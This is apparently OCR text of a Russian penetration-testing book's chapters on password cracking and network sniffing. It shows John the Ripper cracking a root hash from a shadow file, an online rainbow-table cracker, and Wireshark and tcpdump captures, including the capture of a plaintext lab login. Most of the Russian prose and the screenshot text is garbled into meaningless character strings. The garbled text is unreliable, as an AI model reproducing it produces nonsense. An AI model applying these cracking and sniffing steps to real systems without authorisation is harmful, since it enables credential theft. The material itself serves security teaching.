root:$6$zfBfniBV$DHy/6a/09edbiQz32/QkWobSUNUFUbNZz8Q. tBPVM6YyxS5D.uKwb5JIf1A7T2ST
wk8YJIwb31XxVrXWIxJ13Jvkl:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:*:7:7:1p:/var/spool/1lpd:/usr/sbin/nologin
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin

amyckaeM John the Ripper:

root@kali:~# john --wordlist=/root/Documents/500-passwords.txt /root/
u_shadow. txt

Warning: detected hash type "sha512crypt"”, but the string is also recognized as
"crypt"

Use the "--format=crypt" option to force loading these as that type instead
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status

toor (root)

1g 0:00:00:00 DONE (2016-11-06 ©8:15) 2.564g/s 164.1p/s 164.1c/s 164.1C/s
123456. .joshua

Use the "--show" option to display all of the cracked passwords reliably
Session completed
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Paay>xHble Tabnuupl

BssaMbiBaTh Taposint iepeGopoM oueHb 10T, VI eciti BaM MPUXOAUTCS IeIaTh 9TO
6€e3 HyKHbIX BBIUHCJIUTEIbHBIX MOIIHOCTEH, TO TTOJ0OPAHHBIN 11apPOJib K TOMY Bpe-
MeHH, KaK BbI €r0 II0JIy4YrTe, IlepecTaHeT ObiTh aKTyabHbIM. [Opasio mpoie cpasy
CTeHepupOBaTh TaOIMILY Xellel 1 mapojieil — oHa 3aliMeT OYeHb MHOTO MECTa, 3aT0
IOTOM IIOUCK IIAPOJIS IO Xelry OyZeT MPOMCXOAUTh MOIHUEHOCHO. Takue crenepu-
poBaHHbIe 3apaHee 6a3bl JAHHBIX ¥ HA3bIBAIOT pasyKHbIMU Tabaunamu (raindow
tabeles).

B MHTEpHETE MOKHO HaWUTH 3apaHee CreHeprupoBaHHbIE Ta6JII/IHbI, CKayaTb UX 1 UC-
1I0JIb30BAaTbh Ha CBOEM KOMIIbIOTEPE MJIN K€ BOCIIOJIb30BATbCA OHJIafIH-BepCI/Iefl

(puc. 9.3).

5] Lo —
1

vCrackStat

!"!B Defuse.ca - Y Twitter

on y ®

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per ine:

2e8ceb2pderdebfoafdefafodlcasads

. I'm not a robot

Crack Hashes

Supports: LM, NTLM, md?, mdd, mdS, mdS{md5_hex), mdS-half, shal, sha224, sha?56, shal4, shaS12, ripeMIGD, whirlpool, MyS0L
4.1+ (shai{shal_bin}), QubesV'3 1BackupDefaults

Hash Type Result

208ceb?2GBATAELT 99T dGT410d 1 caS4de " md5 ] adainistrator

Color Codes: Green: Exact match, Yellow: Partial match, EBE Mot found.

Puc. 9.3. MNpyMep 1CMoMb30BaHUs paay>Hon TabnuLibl



[lepexBaT nHMOpMaLUmmn

[Tepexsar undopmanuu (Sniffing) — 910 KOMILIEKC AEHCTBUI AJI IOTYyYEHUS 10-
CTyIa K JIAHHBIM, KOTOPbIE TIEPEAAIOTCS [0 TIPOBOJIAM, OTITOBOJIOKOHHOMY KabeJrio,
BUTOH T1ape, paJinoBOIHAM WJTH JTI000# JpyToil cpeie. Bol He moBepuTe, HO 710 CUX TOP
MHOTHE CEPBUCHI MTEPEATOT MAPOJIH, TEPCOHATBHbIE TAHHBIE U APYTYIO TPUBATHYIO
nH(pOPMAITIIO B OTKPBITOM, He3aIMU(PPOBAHHOM BHUJIE, TEM CAMBIM JIeJiasi ee JIETKO-
TOCTYITHOH J1JIsT 3/I0YMBITIJICHHNKA.

[Ipesxzie ueM IPUCTYIIUTD K PACCMOTPEHUIO CAMOTO METO/Ia, BCIOMHUM OCHOBBI T€0-
puu nepeaun JaHHBIX.

Bo-niepBbIx, BaskHa Bala ceteBast Kaprta. [I[pu ee TOMOIITH BbI TIOKIIOYAETECH K CPejie
nepeIavn JaHHbIX — KabeJTio Wi 6eCIpOBOAHOMY COeMHEHHIO. [IPeanomoxmum, 4To
ceTeBas Kapra MPUHUMAET CUTHAJIBI, TIOCTYIAIONINE K HEl 110 MPOBOY. ITO 0ObIU-
HBIE JIEKTPUIECKUE CUTHAJIBI, KOTOPBIE BIIOCIEACTBUU OYIyT TPaHC(HOPMUPOBAHBI
B TToJie3Hyto wHhopmaino. Eciau Ha ceTeByI0 KapTy IPUIES MaKeT, B 3ar0JI0BKe
KOTOPOTO yKa3aH ceTeBoii ajipec nutepdeiica (MAC), mupokoBemaTebHbIN agpec
nozceru (broadcast) win To, 4TO OH ABJISIETCA MHOTOAAPECHBIM (multicast), kapra
o6paboraeT Ty MHGMOPMAIIUIO U TIEPEACT ee ONePAIMOHHON cucreMe. B 06buHOi
cucTeMe ceTeBas KapTa He GyjieT IpUHUMATh HHHDOPMAIIUTO, a[PECOBAHHYIO JIPYTOMY
MOJIyYaTeio, U TIPOCTO YHUUTOKHUT €e.

Vcxozs u3 cKasaHHOTO BBIIIE MOHSATHO: YTOOBI [IepeXBaThIBaTh BECh MY [0 CETH
TpaduK, HeOOXOANMO U3MEHUTD PEKUM PAOOTHI ceTeBOI KapThl. OOBIYHO 9TO JleTaeT-
st 3aMeHOH jipaiiBepa u (1) 6ubarorexn, yepes koropsie OC yrpaBJisieT ceTeBbIM
unrepdeiicom. Jas Windows ato vamte scero WinPcap, aa Linux — libpcap.

Bo-BTOPBIX, HEOOXOMMO YUECTh CPeLy TIepeadun TaHHbIX. J[Jis1 GeCIIPOBOIHBIX ceTei
BCE JIOCTATOYHO MTPOCTO: YTOODI EPEXBATHIBATH TPahUK, BAM HEOOXOINMO 3aMEHUTD
apaiisep u (in) GubIMOTEKY U yCTaHOBUTH clielnaabHoe IO, 0 HeM MbI IIOTOBOPUM
nozske. C ceTsiMu, B KOTOPBIX JUISA OJKITIOUEHHST KCTIO/b3YeTCst Kabeib, BCe HEMHOTO
CJIOKHEe, HA HUX MBI M OCTAHOBUMCS.

[l Havama paccMOTPUM TIpHUMep, KOT/a B CETH NCTIOTb3YeTCsI OfIHA CPejia Tiepeiaun
TAHHBIX, HATIPIMED, B CTAPBIX CETSX TOTIOJIOTUN THIIA «KOJBII0» (DAKTHYECKI OIUH
KabeJib, a U1 MoAKIoueHns: uHrepdeiica Heobxoaumbl T-koruexTopsl (puc. 10.1).
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[l mepeaun TaHABIX B TaKOH ceTn ncrosb3yetcst mpotokos CSMA /CD. Tlporokosr
OCHOBAH Ha TOM, YTO CPE/Y Mepelaur JaHHbIX MOKET UCIIOJIb30BATh TOJbKO OJIUH
unrepdeiic; Korga oH nepegaer MHGOPMALIO, BCe OCTalbHbIe HHTepdeiich paboTaioT
TOJIbKO Ha nipueM. B cirydae, ecu jiBa untepdeiica mbITAIOTCS TePeaBaTh JaHHble
OJTHOBPEMEHHO, BO3HUKAET KoJu3us. [Ipu aToM Bce mHTEPdEiCh OCTAaHABIUBAIOT
TPAHCJISAIINIO JJAHHBIX 1 Yepe3 ONpe/e/IeHHbIN TPOMEKYTOK BPEMEHHU TTBITAIOTCS T10-
BTOPUTH TIepeiady CHOBA.

Bce untepdeiicol B mpejesiax Takoro CErMEHTa CETH I10J1y4aloT BCIo HHPOPMALMIO,
KOTOpas 1o Heil mpoxoaut. I1o Takomy ke npuniuiry padoraer xa6 (hub). Bee moxa-
KJIIOYEHHBIE K HEMY KOMITBIOTEPBI TIOJIYYaIOT BCIO MOCAAHHYIO B CETh MH(MOPMAIINIO,
HECMOTPA Ha TO 4TO Ka)KZ[bH';I N3 HUX NCITOJB3YET AJIA IMOAKITIOYCHUS CO6CTBeHHbH>,I

kabesb (puc. 10.2).
] m =
Prrinttoy Pinstoy
| - B w
L |

Puc. 10.1. Tononorns «KosnbLo» Puc. 10.2. Tononorus «3pe3ga»

Mo3KHO c/iesaTh BBIBOJI, YTO IMEPEXBAT JAHHBIX B TAKUX CETSIX SBJISIETCS JJOCTATOYHO
TpuBHaabHOM 3a/1a4eil. [lepexBaT Tpaduka ycnoxHsaeTCS B TOM cJlydyae, Korja JuUis
OpraHM3aI[K CEeTH UCTOJIb3yeTcst cBud (switch). [lesio B ToM, 4TO cBUY 3HAET ajipec
KOMITBIOTEPA, KOTOPBIH MOKIIOYEH K ero nutepdeiicy, n He meperpasJisger uudop-
MAITUIO OT OTIIPABUTEJIST HUKOMY, KPOME ajipecata.

B-tperbux, s epexsara Ham HeoOxoauMo cooTBerctBytoriee ITO. lias npumepa
PacCMOTPUM IIUPOKO UCIIOIb3YIOIIUIICS 1 OY€Hb MOy ISPHBIA poaykT Wireshark.

MaccuBHbIM NepexBaT Tpaduka

Camblil IpocTOoii 1 6e301acHblil crrocod mepexpaTta JAaHHbIX — IIACCUBHBIN. JlaHHbII
crocob nepexsara paboTaet B CETSAX, KOTOPbIE PA3/EISIOT O/IHY U Ty JKe CPey repe-
JIavu JIAHHBIX (TOTIOJIOTHUST <KOJIBII0», OECTTPOBO/IHAS TTepe/Iava JaHHDIX ) HJIU B CETSIX,
MMOCTPOEHHBIX Ha Xabax.

Wireshark

PaccMoTpuM nepexBaT JaHHBIX ¢ 1cnosb3oBaneM Wireshark. Wireshark — sto Gec-
TIATHBIA ¥ OTKPBITBHIA CETEBOU aHAJIN3AaTOP MAKETOB, IEPEXBATHIBAIONINY CETEBOU
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TpabuK 1 aHATM3UPYIONNI TTaKeThI, mepeaBaeMbie yepes cethb. Wireshark mosker
MepPexXBaThIBATH 1 OTOOPAKAThH JAHHbIE, TTEPEAAIONINECS MO PA3IUYHBIM CETEBBIM
nporokosaM (HTTP, FTP, DNS, TCP/IP u 1. 11.), 103B0JIsIg TI0JI30BATEJSIM TTPO-
CMATPUBATH JIETATBHYIO HH(POPMAIIHIO O KasKIOM MaKeTe. DTOT MHCTPYMEHT UCTIONb-
3yercst I7ist OOHAPY KeHUsI OINOO0K, aHAJIN3a CETEBDIX TTPOOJIEM, Pa3pabOTKU CETEBBIX
IPOTOKOJIOB U 0OYUECHUSI.

[TpoxemoncTpupyem BoaMoskHoCTH TipuMenernst Wireshark st mepexsara n ana-
Ji3a Tpaduka.

Jlnst navana samyctum Wireshark; 8 Kali Linux o# mpeayctaHOBIEH, OHAKO 3TY
YTUAUTY HEOOXOIMMO 3aMyCKaTh C MOBLIMIEHHBIMU TPUBUIETUSMHU, TOITOMY HIC-
HOJIb3YyeM CJIEYIONIYI0 KOMaH/TY:

$sudo wiresark

ITpeske yeM Mbl HAYHEM 3aXBaThiBaTh TpaUK, CTOUT YIIOMIHYTh 00 OHOI Kpaiite
noJiesnoit pyukimu — punsrpax Wireshark.

B Wireshark cymectyror 1Ba 0CHOBHBIX THIIA (DUIIBTPOB: (DUIIBTPBI 3aXBaTa U (PHIb-
Tpbl 0ToOpakeHus. DUAbTPHI 3aXBaTa MPUMEHSIOTCS BO BPEMSI 3allUCH CETEBOTO
tpaduka. OHU TO3BOJISIOT OMPEAETUTH, KAKUE TTAKEThI I0JKHBI OBITH 3aXBaY€HbI
M COXPaHEHBI JIJIS Tocyeayonero anaansa. Hanprumep, BbI MOXKeTe HACTPOUTD
dubTp 3axBara TakuM 006pa3oM, 4ToObI coXpaHATh ToJabK0 TCP-Tpaduk ¢ onpee-
senHoro IP-azpeca. B ¢Boto ouepe/ib, GuibTpbl 0TOOPaKEHUS TIPUMEHSIIOTCS K YIKe
3aMICaHHOMY TPaQUKY.

B nannom cirydae Mbl BOCIIOJIb3yeMCs (PUJIBTPOM 3aXBaTa C 1EJIbI0 YMEHbITUTh KOJIU-
yecTBO cobupaemMoil uudopmannu. besycioBHo, B Haliell TecTOBOM cpeje Tpaduka
HE TaK y’K 1 MHOT'O, HO B PEaJTbHBIX YCJIOBUAX BBl MOJKETE CTOTKHYTHCSA C OTPOMHBIMIN
obbeMamit aHHbBIX. KOHEYHO, «MHOIO HE MaJIo», OJJHAKO aHaI13 OOJIBIIOTO 00beMa
JaHHBIX HOTPeOyeT GOJIbIe BPEMEHH 1 PECYPCOB, a CJIH 9TOI0 MOKHO U30€KaTh, TO
novyemy Obl ¥ HET?

Duibrp MOKHO 3a4aTh 11060 B ri1aBHoM okHe Wireshark, nmu6o 8 menio Capture »
Capture options (puc. 10.3). B mocyiesieM npuBeieHbl Oosiee THOKHE BO3MOKHOCTH
HACTPOMKHU, TOITOMY PEKOMEH/IYETCST O3HAKOMHUTHCSI C HUMH CAMOCTOSITEJIBHO.

B xauectBe duibrpa ykaxkem auanazon [P-anpecos (net 192.168.91.0/24), nna
KOTOPBIX XOTUM OCYIIECTBUTD 3axBaT nH(GopMaruu. [Toka Oy/IeT WaTH 3aXBar, aBTO-
pusyeMcsi B UHTEPHET-Mara3mHe.

[Tocue BoiGopa unTEpdeiica HauHeTcst cO60p MaHHBIX. B Hauasie riaBbl yIOMUHAIOCH
0 TOM, YTO MOHUTOPHHT TpauKa B 6ECTIPOBOAHBIX CETSX paboTaeT HAMHOTO TIPOTILE.
Tak OHO 1 eCTh: YTOObI TPOCMATPUBATH IAHHBIE CO BCEX KOMITBIOTEPOB OECIIPOBOIHO
CeTH, IOCTATOYHO MIPOCTO BHIOPATh HYKHbBIH HHTEPdEIIC.

[Tocste Toro Kak BbI cobepeTe Hy;KHOE KOTUYECTBO IAHHBIX, OCTAHOBUTE COOP MAKETOB.
Tenepb MX MOKHO COXPAHUTD JIJI TOCJAEYIONIETO aHAIN3a UM HAYaTh aHATTM3UPO-
BaThb Cpasy.
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3a mapy MUHYT MBI COOPaJIH IOCTATOYHO GOJIBIIIOE KOJMIECTBO MAKETOB, & BE/b TPa-
¢duK B cetn 6T MUHUMATBHBIM. KOHEUHO, MBI MOTJIM OCTAHOBUTLCS CPa3y 1ocCe
BBOJIa JIOTHHA U TIAPOJIst, HO 3TO ObLI0 ObI He TaK MHTEpeCcHO. [Ipu MpoBeIeHNH TECTOB
Ha POHUKHOBEHNE JACTO CAYIAETCS TaK, YTO BLI He Gy/IeTe 3HATH C TOYHOCTHIO 10
CEKYH/IBI O TOM, KOT/Ia HEOOXOIMMO TTPEKPATUTH COOP MAHHBIX, & CAETATh 3TO HYKHO
TOI/[a, KOTJ[a CTAHOBUTCS U3BECTHO, YTO ITOJIb30BATEIN UM CUCTEMa COBEPIININ

naBa 10 e T[lepexBaT MHdOpMaLnK

‘ The Wireshark Network Analyzer - o x
Eile Edt Mew Go Capture Analyze Statistics Telephony Wireless Tools Help
7 r f =6 & = &5
A i@ EFRRE / EEXk]EE
[I]Apply a display filter ... <Crl-/> = -| +
Welcome to Wireshark
Capture
..using this filter: (|| [net 192.168.91.0/24 B3 -] |Allinterfaces shown -
any ¥ —
Loophack: lo A A
bluetocth0 !
eth
bluetooth-monitor
nflog
niqueue
dbus-system

eeeeeen

dhus-session

Cisco remule caplure: ciscodump

DisplayPort AUX channel momitor capture: dpauxmon
Random packet generator: randpkt

systemd Joumnal Expont: sdjournal

SSH remule caplure: sshdump

UDP Listener remote capture; udpdump

Wi-Fi remote capture: wifidump

Learn

User's Guide - Wiki - Questions and Answers - Mailing Lists -

You are running Wireshark 4.0.2 (Git v4.0.3 packaged as 4.0.3-1).

@

Ready to load or capure Mo Packets

SharkFest - Wireshark Discord - Donate

Profile: Default

Puc. 10.3. Hactpoiika dmnbTpa nepen HavanoM 3axeaTa Tpaduka

olipejie/IeHHble JeHCTBUS U HysKHasd nH(opMaIms y Bac Ha pyKax.

Tetepb, KOra Mbl 3HAaeM, YTO HY)KHbIE JaHHBbIE COOPaHbI, 06PATUMCST KO BTOPOMY
Tuity GuasTpoB — (ubrpam otobpaxkerust. [Ipu UCHOTB30BAaHUN TaKUX (GUIBTPOB

MOJKHO TIPUMEHSTh PasJIMuHbIe OIIepaTopbl, puBeaeHHble B Tabr. 10.1.

Ta6bnuua 10.1. OnepaTtopbl punbLTPOB 0TOOPaKeHUs

Onepartop DyHKUMA Mpumep

== PaBHO ip.addr == 192.168.10.12
€q Pasno tcp.port eq 80

1= He paBno ip.addr != 192.168.10.5
ne He pasno ip.src ne 192.168.10.5
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OnepaTtop DYyHKUUA Mpumep
contains Copepxut http contains "yahoo.com"
&& n tcp.flags.syn == 1 && tcp.flags.ack ==

| ! tcp.port == 80 || tcp.port == 443

! HE dns.gry.name ! "www.example.com"
>=, <=, >, < | Boabuie, Mmenp- | frame.len >= 100
e

Haunem ananms, 0CTaBUB TOJHKO T€ TTAKETBI, KOTOPBIE OTHOCSATCS K TTPOTOKOJY
http u yyacTBOBa/IM B KOMMYHUKAI[UH ¢ BeO-CEPBEPOM, HAXOASAIIMMCS 10 aJpPecy
192.168.91.128: http && ip.addr == 192.168.91.128 (puc. 10.4).

‘ *any (net 192.168.91 054) - o X
Eile Edit Wiew Go Capture Analyze Statisics Telephony Mreless Tools Help

g-g@m‘.@@ Lexde>EEHRQADE

BE3 -]+
gih Info E
02168, 01,12 E 517 GET fapiffuanti 1
9 0.006475231 192.168.91.128 192. 1!3 51 12! HTTP 526 GET !r:al!ulnducu!slmr:m?ll— HTTP/1.1
11 8.181346858 192.168.91.128 192.168.81.128 HTTP 374 HTTP/1.1 384 Not Modified m
g 13 8.139063860 192.168.91.128 192.168.91.128 HTTF 484 HTTP/1.1 384 Not Modified
16 B.248786736  192.168.91.128 192.168.91.128 HTTP 574 GET fassets/public/images/products/fapple_juice.j
18 8.744100378  192.168.91.178 197.168.91.128 HTTR 468 HTTR/1.1 384 Not Modified
20 8. 255068485 182.168.91.128 182.168.81.128 HTTP 5§78 GET /assets/public/images/products/apple_pressin
22 8.258163622 192.168.91.128 192.168.91.128 HTTE 468 HTTP/1.1 384 Not Modified
25 8.270644006 192.168.91.128 192.168.91.128 HTTP 575 GET fassets/public/images/products/banana_juice.
26 8.272075942 152.188.91.128 152.168.91.128 HTTP 468 HTTP/1.1 384 Not Modified
27 8.277394832 182.168.91.128 192.168.81.128 HTTP §71 GET /assets/public/images/products/artwork?.jpg
28 8.279679751 182.168.91.128 192.168.91.128 HTTP 468 HTTP/1.1 384 Not Modified
29 9.285%652127 192.168.91.128 192.168.91.128 HTTP S76 GET fassels/public/images/products/earrol_juice.
30 6.208188035 152.188.91.128 152.168.91.128 HTTP 468 HTTP/1.1 384 Not Modified
31 8.381188457 192.168.91.128 192.168.81.128 HTTP §77 GET /assets/public/images/products/eggfruit_juic
32 8.384876300 182.168.91.128 192.168.961.128 HTTF 468 HTTP/1.1 384 Not Modified -
. I 0
v Frame 4: 517 bytes on wire (4136 bits), 517 bytes captured (4138 L oooe o0 og 06 00 00 OG0 00 90 OB 99
v Linux cooked capture vi BO18 45 80 81 5 18 b4 40 80 40 06 eF fd cb aB Sb 8O
+ Internet Protocol Version 4, Src: 102.168.91.128, Dst: 192.168.91, 9920 0O a8 Sb 80 88 78 a4 18 1a cf &f bd 25 71 ‘;5 ag
Ba 95 57 de ec

+ Transmission Control Protocol, Src Port: 34936, Dst Port: 4208e, £ 9930 £0 18 62 88 3a 30 86 89 91 61 88

Mypertext Tramsfer prowocol G mmordecbardssion onogomsro o
BA50 6e 74 69 74 79 73 21 28 48 54 54 50 21 31 2e M ntitys/
@860 Od 8a 48 6f 73 74 3a 280 31 39 32 2e 31 36 30 Pe «-Host :
BOTE 39 31 2e 31 32 38 Ja 34 32 30 30 30 od oa 55 73 91.128:4 |
Boge 65 72 2d 41 67 65 e 74 3a 20 4d 6f Fa 69 6o 6o er-Agent
@696 61 2f 35 2¢ 30 20 28 58 31 31 3b 20 4c 69 62 V5 @/5.08 (X
@0aB 78 20 78 38 36 5T 36 34 3b 28 72 76 3a 31 30 32 ® XB6_64
@8h6 2e 38 29 2?0 47 65 63 6b 6F 21 32 30 31 30 38 21 .8) Geck
B8cH 38 31 70 46 69 72 65 66 6F TH 21 31 38 32 2e 230 81 Firef
@8de 8d 8a 41 63 63 65 7@ T4 3a 20 61 70 TA &c 69 63 «-Accept
Goed 61 74 69 6f e 27 o T3 6 Ge 2c 20 74 65 7B T4 ation/js
pofe 2f 70 6o 61 69 Ge 2c 20 2a 2f Za od Ba 41 63 63 fplain,

@i0@ 65 78 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 Ge ept-Lang
@119 2d 55 53 2c 65 Ge 3b 71 3d 38 Ze 35 od @a 41 63 -Us, en;q |
N

1 LK)
O ¥ wireshark_anyPAFIS1.pcapng Packets: 160 - Displayed: 62 (36.7%) - Dropped: 0 (0.09)  Profile; Detault

Puc. 10.4. 3anpocsl k Beb-cepBepy 1 ero OTBEThI

[TpuMeHUB GUIBTP, MBI BUMM TIOJHYIO TIOCIEI0BATETLHYIO HCTOPHIO 3aITPOCOB Gpa-
y3epa K BeO-cepBepy U OTBETOB cepBepa. boJiee TOTo, Mbl BUAUM CAMO COEPKUMOE
MaKeToB. B KasKI0M U3 HUX [IePeIaeTCst JIUTb HeOOIbIIast YaCTh TAHHbBIX, 1 TIOHSITD,
KaKy1o HHGOPMAIIIIO OHU COIEPIKAT, TOCTATOUHO CITOKHO. J[JIsT 0OIerdeH st 3a1aum
B Wireshark mpucyTcTByer 3amedatesbias BO3MOKHOCTD MPOCIENTH 3a OTIpeie-
JIeHHBIM 1ToToKoM AaHHbIX (puc. 10.5). B ciaydae ¢ HTTP aro Follow » HTTP steram
(puc. 10.6).
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‘ *any (nat 192,162 01 004} (=] "
Eie Edit Mew Go Caplure Analyze Stabsics Telephony Mireless Tools Help

A8 i@ FERE L <>« Q] EE
[]icp.stream eq 7 i BE -+

|Packetiin  ~ ] Case sensitoe. | Regulus ion v | [test [ Fnd ][ conce |
No. Time: Source | Destinason [Promeal = Length info
152 27.041681961 192.168.91.126 192.168.91.128 HTTP 451 HTTP/LT 451 Unauthorized (Text/ntnl)
Markinmuk Packe! ) I Bt g
knorefUnignone Packet
St i et o e e e o)
Time: Shift... .158.91.128 68 39674 Seq=535 Acl
Packel Comments
Edit Resoived Name .168.91. 68 42608 - 39674 [ACK) Seq=415 ACk=536 WiN=65536 Len=0
Apply as Fiter B
Prepare as Filer .
Conversalion Filer B

bytes caf~|/ 6666

BBBBBSB!BBBGEEEE 86 86 86 86 8d 8a 88 88

paf 53 54 20 2F 72 65 73 74 2F U5 .XI|POST Jfrestfu
6f 67 69 6e 20 48 54 54 S8 2f 31 ser/logl n HTTR/L
hBF 73 74 3a 78 31 39 32 e 31 38 1. .Host : 192.18
P 31 32 38 3a 34 32 38 38 38 8d 8a 8.91.178 147868

H 41 67 65 Ge 74 Ja 20 4d 6f Ta 63 User-Age nt: Moz
f2e 38 20 28 58 31 31 3b 28 4c 69 llars.8  (¥11; L1
hawas 5 30 33 3b 28 77 76 3a 31 nux x06_ 64; rvil
P20 47 65 63 6b &f 2f 32 30 31 3@ 62.8) Gc cho/2ed0
p 46 88 72 65 86 6f 70 2f 31 38 32 8181 Fir efox/182

Praweal Preferences
Decode As...

Show Packet in New Window
ToCVCTITy ToVE T ST T
[Group: Seguence |
Request Method: POST
Request URI: Srestiusers login

Request Version: HTTRA1.1 TOMETEEECEHTEN W] 63 63 65 70 74 Sa 20 61 78 8 o .68 Acce pt: appl
Host: 192.166.91.126:420080rn 0020 6O B3 61 T4 69 6f Ba 2f 6a 73 6f Ga 2e 20 74 65  leatien/ json, te
User-Agent: Mozillas5.8 (X11; Linux xB6_G4; rvi102.8 BEfE TH T4 27 T8 Go 61 &9 Se Fe 8 Fa 27 Za od 8a 41 xeSplain |, YU
Accept: application/json, text/splain, “/*wrin 0108 63 63 65 78 74 2d 4c 61 Ge 67 75 61 67 65 3a 28 ccept-La nquage:
Arcent - anmuane: eo-lIS FocRsA LD (/7| ©330 65 e 7d 55 53 7o 63 ge 3b 71 3d 38 Fe 35 @d @a en-USen jqeR.e |
O x memmwml‘m Packets: 169 . Displayed: 10 (5.99%) - Dropped: 0 (0.0%)  Profile: Default

Puc. 10.5. OtcnexunBaHue noToka

Ml vreshark - Follow HTTP Stream (cp stream eq 7) - any [net 102.168.91.024) - o X

| POST frest/user/login HTTP/1.1
Host: 192.168.91.128:42000
‘User-Agent: Mozillas5.@ (X11; Linux xBG6_64; rv:182.08) Gecko/28180101 Firefox/182.8
!A&cept: application/json, text/plain, */
|Accept-Language: en-Us,en;q=0.5
|Accept-Encoding: gzip, deflate
icontent-TypE: application/json
Content-Length: 47

|0r:|.g.l.n: http://192.168.91.128:42000
|conneetion: keep-alive

'Referer: http://192.168.91.128:42608/
|Ccmh 1 ; wel b _status=dismi

cookieconsent_status=dismiss

'{"lemliI":"I.u.t:tﬂl.eeil..clm", "password” :"lest1234" JHTTPA1.1 481 Unauthor ized
(Access-Control-AlLlow-0rigin: *
‘X-Content-Type-Options: nosniff

' X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self’

' X-Recruiting: /#/jobs

‘Content-Type: text/html; charset=utf-8
Content-Length: 26

(ETag: W/"la-ARJWHE+sSmzAF3IQ)veZmDSG+3Eus"
Vary: Accept-Encoding

|Date: Sat, 20 May 2023 09:11:37 GMT
connection: keep-alive

|l(c|:n-Al‘iw:: timeout=5

|
| Tnvalid email or password.

1 chent pkt, 1 server pit, 1 tum,
| Entire conversation (947 bytes) - Show data as |ASCI -
Find: | | [ Find mexa |

| Fiter out This sweam || Print || saveas.. || Back || Elclose |

Puc. 10.6. Bca nonesHas nHdopmaums B O4HOM MeCTe,
BK/1OHAsA JIOrMH U NapoJsib NoNb30BaTeNs
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tcpdump

Y Bac He Bcerza OyzeT I0CTyn K rpadudeckomMy uHTEepdEicy, oaToMy T0Je3HO
O3HAKOMUTBCS €Ille € OJHUM WHCTPYMEHTOM, KOTOPbIi TtosiBusics a0 Wireshark, —
tepdump.

Ecui oI ipocTo 3amyctute tepdump, To Best mHGopMaiust Gy/1eT BBIBOIUTHCS B Pe-
aJIbHOM BPEMEHH, YTO cllejlaeT ee IPaKTUYeCKU HelIPUroJHol [/ fajibHeliero
aHaJIn3a:

root@kali:~# tcpdump

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth@, link-type EN1OMB (Ethernet), capture size 262144 bytes
11:46:47.867683 IP kali.57728 > ec2-52-43-198-160.us-west-2.compute.amazonaws.
com.https: Flags [.], ack 1406161060, win 40880, length ©

11:46:47.868400 IP ec2-52-43-198-160.us-west-2.compute.amazonaws.com.https >
kali.57728: Flags [.], ack 1, win 64240, length ©

11:46:47.870762 IP kali.53588 > gateway.domain: 6423+ PTR? 160.198.43.52.in-
addr.arpa. (44)

11:46:47.942135 IP gateway.domain > kali.53588: 6423 1/0/0 PTR ec2-52-43-198-
160.us-west-2.compute.amazonaws.com. (107)

11:46:47.943079 IP kali.53170 > gateway.domain: 29504+ PTR? 129.126.168.192.in-
addr.arpa. (46)

11:46:48.005087 IP gateway.domain > kali.53170: 29504 NXDomain ©/0/0 (46)
11:46:48.012487 IP kali.34133 > gateway.domain: 9564+ PTR? 2.126.168.192.in-
addr.arpa. (44)

11:46:48.073047 IP gateway.domain > kali.34133: 9564 NXDomain ©/0/0 (44)
11:46:48.699462 IP kali.54070 > ec2-52-32-150-180.us-west-2.compute.amazonaws.
com.https: Flags [.], ack 101222386, win 40880, length ©

11:46:48.701314 IP kali.51078 > gateway.domain: 2872+ PTR? 180.150.32.52.in-
addr.arpa. (44)

Topassio Jsyuiie coxpaHsTh BCIO HHGOpPMaIHio B (aiis, 310 yupocTuT c6op JaHHBIX
U CO3/IACT BO3MOXKHOCTb JIJIsI TIOCJIE/YIONIero aHamusa Tpaduka B aoboe yaodHoe
LTS Bac BpeMsi:

root@kali:~# tcpdump -w /root/tcpump.cap
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth@, link-type EN1OMB (Ethernet), capture size 262144 bytes
~C3821 packets captured
3828 packets received by filter
0 packets dropped by kernel

JIJist aHauIM3a MOJTyYeHHbIX JAHHBIX MOKHO nconb3oBaTh Whireshark, wo pas yox Mol
paboTaeM B KOHCOJIH, TO OyJIEM TTOCJIE/I0OBATEILHBI M TIPUBEIEM TIPUMED AHAN3A JIAHHBIX
B Hell. [TocmoTpuM Bee TP-azspeca u mopThl, ¢ KOTOPBIMHU MTPONCXOINIIO COeTNHEHNE:

root@kali:~# tcpdump -n -r /root/tcpump.cap | awk -F" " '{ print $3}' | sort -u
| head

reading from file /root/tcpump.cap, link-type EN1OMB (Ethernet)
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136.243.75.5.80
138.201.8.34.80
138.201.8.95.80
144.76.164.182.80
144.76.28.230.80
144.76.62.5.80
173.194.122.218.80
173.194.32.186.443
178.250.0.80.80
178.250.2.77.80

[Ipoananmm3anpoBas BLIBOJ, Mbl YBU/IEH, HA KaKUe ajipeca yallie BCero yXo/InuJIu 3a-
mpocsl. Teniepb oTduabTpyeM Tpahuk, NCXoas U3 uMeloIielics nHpopmanmm:

root@kali:~# tcpdump -n src host 138.201.8.34 -r /root/tcpump.cap
reading from file /root/tcpump.cap, link-type EN1OMB (Ethernet)
11:59:01.590002 IP 138.201.8.34.80 > 192.168.126.129.44236: Flags [S.], seq
1793877133, ack 236733408, win 64240, options [mss 1460], length ©
11:59:01.594853 IP 138.201.8.34.80 > 192.168.126.129.44238: Flags [S.], seq
1094285691, ack 3332638160, win 64240, options [mss 1460], length @
11:59:01.594994 IP 138.201.8.34.80 > 192.168.126.129.44236: Flags [.], ack
1461, win 64240, length o
11:59:01.595001 IP 138.201.8.34.80 > 192.168.126.129.44236: Flags [.], ack
1537, win 64240, length @

root@kali:~# tcpdump -n dst host 138.201.8.34 -r /root/tcpump.cap

reading from file /root/tcpump.cap, link-type EN1OMB (Ethernet)

11:59:01.475932 IP 192.168.126.129.44236 > 138.201.8.34.80: Flags [S], seq
